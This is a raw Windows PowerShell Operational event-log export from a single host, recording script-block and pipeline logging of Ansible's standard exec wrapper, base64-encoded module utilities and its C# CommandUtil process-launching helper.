L
ScriptBlock ID: e8181001-fe2c-4161-8c76-80f1e58a8cc0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2120 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:53 AM | 61e00a24-ee3b-0000-880b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 8):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8I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MyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.PrivilegeUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTggQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiMgc3RvcmUgaW4gc2VwYXJhdGUgdmFyaWFibGVzIHRvIG1ha2UgaXQgZWFzaWVyIGZvciBvdGhlciBtb2R1bGVf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mQuU2VxdWVudGlhbCldCiAgICAgICAgaW50ZXJuYWwgc3RydWN0IExVSURfQU5EX0FUVFJJQlVURVMKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBMVUlEIEx1aWQ7CiAgICAgICAgICAgIHB1YmxpYyBQcml2aWxlZ2VBdHRyaWJ1dGVzIEF0dHJpYnV0ZXM7CiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldCiAgICAgICAgaW50ZXJuYWwgc3RydWN0IFRPS0VOX1BSSVZJTEVHRVMKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBVSW50MzIgUHJpdmlsZWdlQ291bnQ7CiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5CeVZhbEFycmF5LCBTaXplQ29uc3QgPSAxKV0KICAgICAgICAgICAgcHVibGljIExVSURfQU5EX0FUVFJJQlVURVNbXSBQcml2aWxlZ2VzOwogICAgICAgIH0KICAgIH0KCiAgICBpbnRlcm5hbCBjbGFzcyBOYXRpdmVNZXRob2RzCiAgICB7CiAgICAgICAgW0RsbEltcG9ydCgiYWR2YXBpMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIEFkanVzdFRva2VuUHJpdmlsZWdlcygKICAgICAgICAgICAgSW50UHRyIFRva2VuSGFuZGxlLAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldIGJvb2wgRGlzYWJsZUFsbFByaXZpbGVnZXMsCiAgICAgICAgICAgIEludFB0ciBOZXdTdGF0ZSwKICAgICAgICAgICAgVUludDMyIEJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgSW50UHRyIFByZXZpb3VzU3RhdGUsCiAgICAgICAgICAgIG91dCBVSW50MzIgUmV0dXJuTGVuZ3RoKTsKCiAgICAgICAgW0RsbEltcG9yd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gIHB1YmxpYyBvdmVycmlkZSBzdHJpbmcgTWVzc2FnZSB7IGdldCB7IHJldHVybiBfbXNnOyB9IH0KICAgICAgICBwdWJsaWMgc3RhdGljIGV4cGxpY2l0IG9wZXJhdG9yIFdpbjMyRXhjZXB0aW9uKHN0cmluZyBtZXNzYWdlKSB7IHJldHVybiBuZXcgV2luMzJFeGNlcHRpb24obWVzc2FnZSk7IH0KICAgIH0KCiAgICBwdWJsaWMgY2xhc3MgUHJpdmlsZWdlcwogICAgewogICAgICAgIHByaXZhdGUgc3RhdGljIHJlYWRvbmx5IFVJbnQzMiBUT0tFTl9QUklWSUxFR0VTID0gMzsKCgogICAgICAgIHB1YmxpYyBzdGF0aWMgYm9vbCBDaGVja1ByaXZpbGVnZU5hbWUoc3RyaW5nIG5hbWUpCiAgICAgICAgewogICAgICAgICAgICBOYXRpdmVIZWxwZXJzLkxVSUQgbHVpZDsKICAgICAgICAgICAgaWYgKCFOYXRpdmVNZXRob2RzLkxvb2t1cFByaXZpbGVnZVZhbHVlKG51bGwsIG5hbWUsIG91dCBsdWlkKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaW50IGVyckNvZGUgPSBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCk7CiAgICAgICAgICAgICAgICBpZiAoZXJyQ29kZSAhPSAxMzEzKSAgLy8gRVJST1JfTk9fU1VDSF9QUklWSUxFR0UKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oZXJyQ29kZSwgU3RyaW5nLkZvcm1hdCgiTG9va3VwUHJpdmlsZWdlVmFsdWUoezB9KSBmYWlsZWQiLCBuYW1lKSk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRp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aFRva2VuKSkKICAgICAgICAgICAgICAgIHRocm93IG5ldyBXaW4zMkV4Y2VwdGlvbigiT3BlblByb2Nlc3NUb2tlbigpIGZhaWxlZCIpOwoKICAgICAgICAgICAgRGljdGlvbmFyeTxTdHJpbmcsIFByaXZpbGVnZUF0dHJpYnV0ZXM+IGluZm8gPSBuZXcgRGljdGlvbmFyeTxTdHJpbmcsIFByaXZpbGVnZUF0dHJpYnV0ZXM+KCk7CiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBVSW50MzIgdG9rZW5MZW5ndGggPSAwOwogICAgICAgICAgICAgICAgTmF0aXZlTWV0aG9kcy5HZXRUb2tlbkluZm9ybWF0aW9uKGhUb2tlbiwgVE9LRU5fUFJJVklMRUdFUywgSW50UHRyLlplcm8sIDAsIG91dCB0b2tlbkxlbmd0aCk7CgogICAgICAgI
ScriptBlock ID: e8181001-fe2c-4161-8c76-80f1e58a8cc0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2119 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:53 AM | 61e00a24-ee3b-0000-880b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2118 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 4452 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:53 AM | 61e00a24-ee3b-0003-ab0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4564 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2117 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 1068 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:53 AM | 61e00a24-ee3b-0003-ab0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2116 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 4452 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:53 AM | 61e00a24-ee3b-0003-ab0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2115 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 724 | 3160 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:51 AM | 61e00a24-ee3b-0003-a10b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 724 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2114 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 724 | 776 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:51 AM | 61e00a24-ee3b-0003-a10b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2113 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 724 | 3160 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:51 AM | 61e00a24-ee3b-0003-a10b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 0c7335a5-65a7-4abb-8af0-e52ea2868b80
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 4f26af4c-e1a2-44d1-8bdb-5e0e35405399
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2112 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3900 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:51 AM | 61e00a24-ee3b-0005-750b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
